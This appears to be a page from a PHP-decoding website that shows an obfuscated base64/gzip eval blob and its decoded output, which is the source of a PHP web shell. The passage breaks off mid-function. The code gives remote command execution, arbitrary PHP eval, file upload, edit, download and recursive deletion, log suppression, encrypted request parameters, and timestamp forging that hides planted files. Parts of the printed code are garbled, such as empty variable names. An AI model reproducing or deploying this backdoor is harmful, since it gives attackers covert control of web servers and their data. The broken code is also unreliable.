Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzuncompress(base64_decode('eNrtfVFb28iy4DP3++5/EBoPsgYhbEMyGRsZGEImuScJOUDmnFng+BOSb..
Decoded Output download
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',900);
@set_time_limit(900);
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']).'k'])){prototype(md5($_SERVER['HTTP_HOST']).'k',md5($_SERVER['HTTP_USER_AGENT']));}
if(empty($_POST['chs'])){$_POST['chs']='UTF-8';}
if(!isset($_POST['ne'])){if(isset($_POST['a'])){$_POST['a']=iconv('utf-8',$_POST['chs'],dec($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST']).'k']));}if(isset($_POST['c'])){$_POST['c']=iconv('utf-8',$_POST['chs'],dec($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST']).'k']));}if(isset($_POST['w1'])){$_POST['w1']=iconv('utf-8',$_POST['chs'],dec($_POST['w1'],$_COOKIE[md5($_SERVER['HTTP_HOST']).'k']));}if(isset($_POST['w2'])){$_POST['w2']=iconv('utf-8',$_POST['chs'],dec($_POST['w2'],$_COOKIE[md5($_SERVER['HTTP_HOST']).'k']));}if(isset($_POST['w3'])){$_POST['w3']=iconv('utf-8',$_POST['chs'],dec($_POST['w3'],$_COOKIE[md5($_SERVER['HTTP_HOST']).'k']));}}
function dec($s,$p){$p=base64_encode($p);$s=base64_decode($s);$c="";$e="";$i=0;while($i<strlen($s)){for($j=0;$j<strlen($p);$j++){$c=chr(ord($s[$i])^ord($p[$j]));$e.=$c;$i++;if($i>=strlen($s))break;}}return base64_decode($e);}
if(substr(phpversion(),0,1)<7){@set_magic_quotes_runtime(0);}
if(get_magic_quotes_gpc()){function ssa($a){return is_array($a)?array_map('ssa',$a):stripslashes($a);}$_POST=ssa($_POST);$_COOKIE=ssa($_COOKIE);}
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'])){$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']=1;}
global $os;
if(strtolower(substr(PHP_OS,0,3))=='win'){$os='win';}
else{$os='nix';}
global $safe_mode;
$safe_mode=@ini_get('safe_mode');
if(!$safe_mode){error_reporting(0);}
global $disable_functions;
$disable_functions=@ini_get('disable_functions');
global $home_cwd;
$home_cwd=@getcwd();
if(isset($_POST['c'])){@chdir($_POST['c']);}
global $cwd;
$cwd=@getcwd();
if($os=='win'){$home_cwd=str_replace('\','/',$home_cwd);$cwd=str_replace('\','/',$cwd);}
if($cwd[strlen($cwd)-1]!='/'){$cwd.='/';}
function hh(){
echo("<html><head><meta http-equiv='Content-Type' content='text/html; charset=".$_POST['chs']."'><title>[]</title>
<style>body{background-color:#222;color:#e1e1e1;font:normal 75% Arial, Helvetica, sans-serif;margin:0}canvas{display:block;vertical-align:bottom}body,td,th{font:9pt Lucida,Verdana;vertical-align:top;margin:0}table.info{color:#e1e1e1}table#toolsTbl{background-color:#222}span,h1,a{color:#2eeb15 !important}span{font-weight:bolder}h1{border-left:5px solid #2eeb15;font:14pt Verdana;background-color:#222;margin:0;padding:2px 5px}div.content{margin-left:5px;background-color:#333;padding:5px}a{text-decoration:none}a:hover{text-decoration:underline}.tooltip:hover::after{opacity:1;visibility:visible}.ml1{border:1px solid #555;overflow:auto;margin:0;padding:5px}.bigarea{min-width:100%;max-width:100%;height:400px}.comarea{min-width:100%;max-width:100%;height:300px}textarea{color:#ffffff;background-color:#555;border:none;font:9pt Courier New;outline:none;margin:0}input,select{color:#2eeb15;background-color:#555;border:none;font:9pt Courier New;outline:none;margin:0}label{position:relative}label:after{content:'>';font:10px Consolas, monospace;color:#2eeb15;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px;top:3px;position:absolute;pointer-events:none;padding:0}label:before{content:'';right:0;top:0;width:17px;height:15px;background:#555;position:absolute;pointer-events:none;display:block}form{margin:0}#toolsTbl{text-align:center}#dmcp{background:none}#dmcp td{padding:5px 0 0}iframe{border:1px solid #5E5E5E}.toolsInp{width:300px}.main th{text-align:left;background-color:#5E5E5E}.main tr:hover{background-color:#5E5E5E}.main td,th{vertical-align:middle}.l1{background-color:#444}pre{font:9pt Courier New}input[type=submit],input[type=button]{background-color:#555}input[type=submit]:hover,input[type=button]:hover{background-color:#56AD15}</style>
<script>
var c_ = '".htmlspecialchars($GLOBALS['cwd']). "';
var a_ = '".htmlspecialchars(@$_POST['a'])."';
var chs_ = '".htmlspecialchars(@$_POST['chs'])."';
var w1_ = '".((strpos(@$_POST['w1'],"
")!==false)?'':htmlspecialchars($_POST['w1'],ENT_QUOTES))."';
var w2_ = '".((strpos(@$_POST['w2'],"
")!==false)?'':htmlspecialchars($_POST['w2'],ENT_QUOTES))."';
var w3_ = '".((strpos(@$_POST['w3'],"
")!==false)?'':htmlspecialchars($_POST['w3'],ENT_QUOTES))."';
var d = document;
function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
function set(a,c,w1,w2,w3,chs) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(w1!=null)d.mf.w1.value=w1;else d.mf.w1.value=w1_;
if(w2!=null)d.mf.w2.value=w2;else d.mf.w2.value=w2_;
if(w3!=null)d.mf.w3.value=w3;else d.mf.w3.value=w3_;
d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."k"]."');
d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."k"]."');
d.mf.w1.value = encrypt(d.mf.w1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."k"]."');
d.mf.w2.value = encrypt(d.mf.w2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."k"]."');
d.mf.w3.value = encrypt(d.mf.w3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."k"]."');
if(chs!=null)d.mf.chs.value=chs;else d.mf.chs.value=chs_;
}
function g(a,c,w1,w2,w3,chs){set(a,c,w1,w2,w3,chs);d.mf.submit();}
function a(a,c,w1,w2,w3,chs) {
set(a,c,w1,w2,w3,chs);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('".addslashes($_SERVER['REQUEST_URI'])."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;top:0;left:0;'><form method=post name=mf style='display:none;'><input type=hidden name=a><input type=hidden name=c><input type=hidden name=w1><input type=hidden name=w2><input type=hidden name=w3><input type=hidden name=chs></form>");
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links='';
$path=explode("/",$GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"Files\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links.="\")'>".$path[$i]."/</a>";
}
$m=array('Files'=>'Files','Console'=>'Console','Adminer'=>'Adminer','Php'=>'Php','Search'=>'Search','Toucher'=>'Toucher');
$menu='';
foreach($m as $k=>$v){$menu.='<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';}
$drives='';
if($GLOBALS['os']=='win'){foreach(range('c','z') as $drive){if(is_dir($drive.':\')){$drives.='<a href="#" onclick="g(\'Files\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';}}}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td><td><nobr>'.substr(@php_uname(), 0, 120).' <br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( ' .$group. ' ) <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red><b>ON</b></font>':'<font color=#069906><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Curl:</span> '.(@is_callable('curl_init')?'<font color=#069906><b>ON</b></font>':'<font color=#e1e1e1><b>OFF</b></font>').' <span>Auf:</span> '.(@ini_get('allow_url_fopen')?'<font color=#069906><b>ON</b></font>':'<font color=#e1e1e1><b>OFF</b></font>').' <br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'Files\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td><td width=1 align=right><nobr>
<a href="#" onclick="g(null,null,null,null,null,this.title)" title="'.($_POST['chs']=='Windows-1251'?'UTF-8':'Windows-1251').'"><span>'.($_POST['chs']=='Windows-1251'?'Windows-1251':'UTF-8').'</span></a>
<br><span>IP:</span>'.@$_SERVER['SERVER_ADDR'].'<br><span>Size:</span>'.filesize($_SERVER['SCRIPT_FILENAME']).'<br> <a href="#" onclick="g(\'Files\',null,\'selftouch\')">Selftouch</a></nobr></td></tr></table><table style="background-color:#555;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div>';
}
function hf(){
$is_writable=is_writable($GLOBALS['cwd'])?" <font color='#2eeb15'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";
echo "</div><table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%><tr><td><form onsubmit=\"".(function_exists('actionFiles')?"g('Files',this.c.value,'');":'')."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=submit value='>>'></form></td><td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='>>'></form></td></tr><tr><td><form onsubmit=\"".( function_exists('actionFiles')? "g('Files',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='>>'></form></td><td><form onsubmit=\"".(function_exists('actionFilesTools')?"g('FilesTools',null,this.f.value,'mkfile');":'')."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='>>'></form></td></tr><tr><td><form onsubmit=\"".(function_exists('actionPhp')?"g('Php',null,this.c.value);":'')."return false;\"><span>Execute PHP:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td><td><form method='post' ".((!function_exists('actionFiles'))?"onsubmit=\"return false;\" ":'')."ENCTYPE='multipart/form-data'><input type=hidden name=a value='Files'><input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=hidden name=w1 value='uploadFile'><input type=hidden name=ne value=''><input type=hidden name=chs value='" .(isset($_POST['chs'])?$_POST['chs']:'')."'><span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[] multiple><input type=submit value='>>'></form><br></td></tr></table></div></body></html>";
}
if(!function_exists('posix_getpwuid')&&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)){function posix_getpwuid($p){return false;}}
if(!function_exists('posix_getgrgid')&&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)){function posix_getgrgid($p){return false;}}
function ex($in){
$='';
if(function_exists('exec')){@exec($in,$);$=@implode("
",$);}
elseif(function_exists('passthru')){ob_start();@passthru($in);$=ob_get_clean();}
elseif(function_exists('system')){ob_start();@system($in);$=ob_get_clean();}
elseif(function_exists('shell_exec')){$=shell_exec($in);}
elseif(is_resource($f=@popen($in,'r'))){$='';while(!@feof($f)){$.=fread($f,1024);}pclose($f);}
else return " Execution commands is not available
";
return($==''?" Empty answer
":$);
}
function viewSize($s){if($s>=1073741824){return sprintf('%1.2f',$s/1073741824).' GB';}elseif($s>=1048576){return sprintf('%1.2f',$s/1048576).' MB';}elseif($s>=1024){return sprintf('%1.2f',$s/1024).' KB';}else{return $s.' B';}}
function perms($p){if(($p&0xC000)==0xC000){$i='s';}elseif(($p&0xA000)==0xA000){$i='l';}elseif(($p&0x8000)==0x8000){$i='-';}elseif(($p&0x6000)==0x6000){$i='b';}elseif(($p&0x4000)==0x4000){$i='d';}elseif(($p&0x2000)==0x2000){$i='c';}elseif(($p&0x1000)==0x1000){$i='p';}else{$i='u';}$i.=(($p&0x0100)?'r':'-').(($p&0x0080)?'w':'-').(($p&0x0040)?(($p&0x0800)?'s':'x' ):(($p&0x0800)?'S':'-')).(($p&0x0020)?'r':'-').(($p&0x0010)?'w':'-').(($p&0x0008)?(($p&0x0400)?'s':'x' ):(($p&0x0400)?'S':'-')).(($p&0x0004)?'r':'-').(($p&0x0002)?'w':'-').(($p&0x0001)?(($p&0x0200)?'t':'x' ):(($p&0x0200)?'T':'-'));return $i;}
function viewPermsColor($f){
if(!@is_readable($f)){return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';}
elseif(!@is_writable($f)){return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';}
else{return '<font color=#2eeb15><b>'.perms(@fileperms($f)).'</b></font>';}
}
function hardScandir($dir){if(function_exists('scandir')){return scandir($dir);} else{$dh=opendir($dir);while(false!==($filename=readdir($dh))){$files[]=$filename;}return $files;}}
function prototype($k,$v){$_COOKIE[$k]=$v;setcookie($k,$v);}
function actionFilesTools(){
if(isset($_POST['w1'])){$_POST['w1']=urldecode($_POST['w1']);}
if(@$_POST['w2']=='download'){
if(@is_file($_POST['w1'])&&@is_readable($_POST['w1'])){
ob_start('ob_gzhandler',4096);
header('Content-Disposition: attachment; filename='.basename($_POST['w1']));
if(function_exists('mime_content_type')){header('Content-Type: '.@mime_content_type($_POST['w1']));}
else{header('Content-Type: application/octet-stream');}
$j=@fopen($_POST['w1'],'r');
if($j){while(!@feof($j)){echo @fread($j,1024);}fclose($j);}
}
exit;
}
if(@$_POST['w2']=='mkfile'&&!file_exists($_POST['w1'])){
$fp=@fopen($_POST['w1'],'w');if($fp){$_POST['w2']='edit';fclose($fp);}
if(function_exists('scandir')){
$s=scandir(dirname($_POST['w1']));unset($s[0]);
foreach($s as $o){$a[]=filemtime($o);}
$a=array_count_values($a);$k=time();$m=0;
foreach($a as $t=>$v){if($v>=$m){$m=$v;$k=$t;}}
@touch($_POST['w1'],$k,$k);
}
}
hh();
echo '<h1>File tools</h1><div class=content>';
if(!file_exists(@$_POST['w1'])){echo 'File not exists';hf();return;}
$uid=@posix_getpwuid(@fileowner($_POST['w1']));
if(!$uid){$uid['name']=@fileowner($_POST['w1']);$gid['name']=@filegroup($_POST['w1']);}
else{$gid=@posix_getgrgid(@filegroup($_POST['w1']));}
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['w1'])).' <span>Size:</span> '.(is_file($_POST['w1'])?viewSize(filesize($_POST['w1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['w1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['w1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['w1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['w1'])).'<br><br>';
if(empty($_POST['w2'])){$_POST['w2']='view';}
if(is_file($_POST['w1'])){$m=array('View','Highlight','Download','Edit','Chmod','Rename','Touch','Link');}
else{$m=array('Chmod','Rename','Touch');}
foreach($m as $v){echo '<a href=# onclick="g(null,null,\''.urlencode($_POST['w1']).'\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['w2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';}
echo '<br><br>';
switch($_POST['w2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['w1'], 'r');
if($fp){
while(!@feof($fp))
echo htmlspecialchars(@fread($fp,1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['w1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$oRb = @highlight_file($_POST['w1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$oRb).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['w3']) ) {
$perms = 0;
for($i=strlen($_POST['w3'])-1;$i>=0;--$i)
$perms += (int)$_POST['w3'][$i]*pow(8, (strlen($_POST['w3'])-$i-1));
if(!@chmod($_POST['w1'],$perms)){echo 'Can\'t set permissions!<br><script>document.mf.w3.value="";</script>';}
else{echo 'Permissions set!<br>';}
}
clearstatcache();
echo '<script>w3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['w1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['w1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['w1'])) {
echo 'File isn\'t writeable';
break;
}
if(!empty($_POST['w3'])){
$time = @filemtime($_POST['w1']);
$_POST['w3'] = substr($_POST['w3'],1);
$fp = @fopen($_POST['w1'],"w");
if($fp){@fwrite($fp,$_POST['w3']);
@fclose($fp);
echo 'Saved!<br><script>w3_="";</script>';
@touch($_POST['w1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,\''.urlencode($_POST['w1']).'\',null,\'1\'+this.text.value);return false;"><input type=submit value=">>"><textarea name=text class=bigarea>';
$fp=@fopen($_POST['w1'],'r');
if($fp){while(!@feof($fp)){echo htmlspecialchars(@fread($fp,1024));}@fclose($fp);}
echo '</textarea></form>';
break;
case 'link':
$v1=htmlspecialchars(str_replace($_SERVER['DOCUMENT_ROOT'],'',$GLOBALS['cwd']).$_POST['w1']);
echo('<a href="'.$v1.'" target="_blank">'.$v1.'</a><br>');
echo('<a href="/'.$_POST['w1'].'" target="_blank">/'.$_POST['w1'].'</a><br>');
$tp=array_reverse(explode('/',$GLOBALS['cwd']));
$tm='';
foreach($tp as $tpp){if(!empty($tpp)){$tm=$tpp.'/'.$tm;echo('<a href="/'.$tm.$_POST['w1'].'" target="_blank">/'.$tm.$_POST['w1'].'</a><br>');}}
break;
case 'rename':
if( !empty($_POST['w3']) ) {
if(!@rename($_POST['w1'], $_POST['w3']))
echo 'Can\'t rename!<br>';
else
exit('<script>g(null,null,"'.urlencode($_POST['w3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['w1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['w1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['w3']) ) {
$time = strtotime($_POST['w3']);
if($time) {
if(!touch($_POST['w1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>w3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['w1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['w1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
hf();
}
function actionConsole() {
if(!empty($_POST['w1']) && !empty($_POST['w2'])) {
prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
$_POST['w1'] .= ' 2>&1';
} elseif(!empty($_POST['w1']))
prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
if(isset($_POST['ajax'])) {
prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['chs'], 'UTF-8', addcslashes("
$ ".$_POST['w1']."
".ex($_POST['w1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['w1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['w1']))
prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
hh();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds=new Array('');
var cur=0;function kp(e){var n=(window.Event)?e.which:e.keyCode;if(n==38){cur--;if(cur>=0){document.cf.cmd.value=cmds[cur];}else{cur++;}} else{if(n==40){cur++;if(cur<cmds.length){document.cf.cmd.value=cmds[cur];}else{cur--;}}}}
function add(cmd){cmds.pop();cmds.push(cmd);cmds.push('');cur = cmds.length-1;}</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['w2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=comarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
if(!empty($_POST['w1'])){echo htmlspecialchars("$ ".$_POST['w1']."
".ex($_POST['w1']));}
echo '</textarea><table style="border:1px solid #222222;background-color:#222222;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table></form></div><script>d.cf.cmd.focus();</script>';
hf();
}
function actionPhp(){
if(isset($_POST['ajax'])){$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']=true;ob_start();eval($_POST['w1']);$temp="document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";echo strlen($temp),"
",$temp;exit;}
hh();
if(isset($_POST['w2'])&&($_POST['w2']=='info')) {
echo '<h1>PHP info</h1><div class=content>';
ob_start();
phpinfo();
$tmp=ob_get_clean();
$tmp=preg_replace('!body {.*}!msiU','',$tmp);
$tmp=preg_replace('!a:\w+ {.*}!msiU','',$tmp);
$tmp=preg_replace('!h1!msiU','h2',$tmp);
$tmp=preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
$tmp=preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
echo $tmp;
echo '</div><br>';
}
if(empty($_POST['ajax'])&&!empty($_POST['w1']))
$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=comarea id=PhpCode>'.(!empty($_POST['w1'])?htmlspecialchars($_POST['w1']):'').'</textarea><input type=submit value=">>" style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['w1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['w1'])){ob_start();eval($_POST['w1']);echo htmlspecialchars(ob_get_clean());}
echo '</pre></div>';
hf();
}
function actionFiles(){
if (!empty($_COOKIE['f'])){$_COOKIE['f']=@unserialize($_COOKIE['f']);}
if(!empty($_POST['w1'])){
switch($_POST['w1']){
case 'uploadFile':
if (is_array($_FILES['f']['tmp_name'])){
foreach($_FILES['f']['tmp_name'] as $i=>$t ){
if(@move_uploaded_file($t,$_FILES['f']['name'][$i])){
if(function_exists('scandir')){
$s=scandir($_POST['c']);unset($s[0]);
foreach($s as $o){$a[]=filemtime($_POST['c'].$o);}
$a=array_count_values($a);$j=time();$m=0;
foreach($a as $k=>$v){if($v>=$m){$m=$v;$j=$k;}}
@touch($_POST['c'].$_FILES['f']['name'][$i],$j,$j);
}
}
else{echo "Can't upload file!";}
}
}
break;
case 'mkdir':
if(!@mkdir($_POST['w2'])){echo "Can't create new dir";}
break;
case 'selftouch':
if(function_exists('scandir')){
$s=scandir(dirname($_SERVER['SCRIPT_FILENAME']));unset($s[0]);
foreach($s as $o){$a[]=filemtime($_POST['c'].$o);}
$a=array_count_values($a);$k=time();$m=0;
foreach($a as $t=>$v){if($v>=$m){$m=$v;$k=$t;}}
@touch($_SERVER['SCRIPT_FILENAME'],$k,$k);
}
break;
case 'Delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh=opendir($path);
while (($=readdir($dh))!==false){
$=$path.$;
if ((basename($)=='..')||(basename($)=='.'))
continue;
if (filetype($)=='dir'){deleteDir($);}
else{@unlink($);}
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f=='..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'Paste':
if($_COOKIE['a']=='Copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
} elseif($_COOKIE['a']=='Move'){
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
}
unset($_COOKIE['f']);
setcookie('f','',time()-3600);
break;
default:
if(!empty($_POST['w1'])){prototype('a',$_POST['w1']);prototype('f',serialize(@$_POST['f']));prototype('c',@$_POST['c']);}
break;
}
}
hh();
echo '<h1>File manager</h1><div class=content><script>w1_=w2_=w3_="";</script>';
$dirContent=hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent===false){echo 'Can\'t open this folder!';hf();return;}
global $sort;
$sort=array('name',1);
if(!empty($_POST['w1'])){if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['w1'],$match)){$sort=array($match[1],(int)$match[2]);}}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
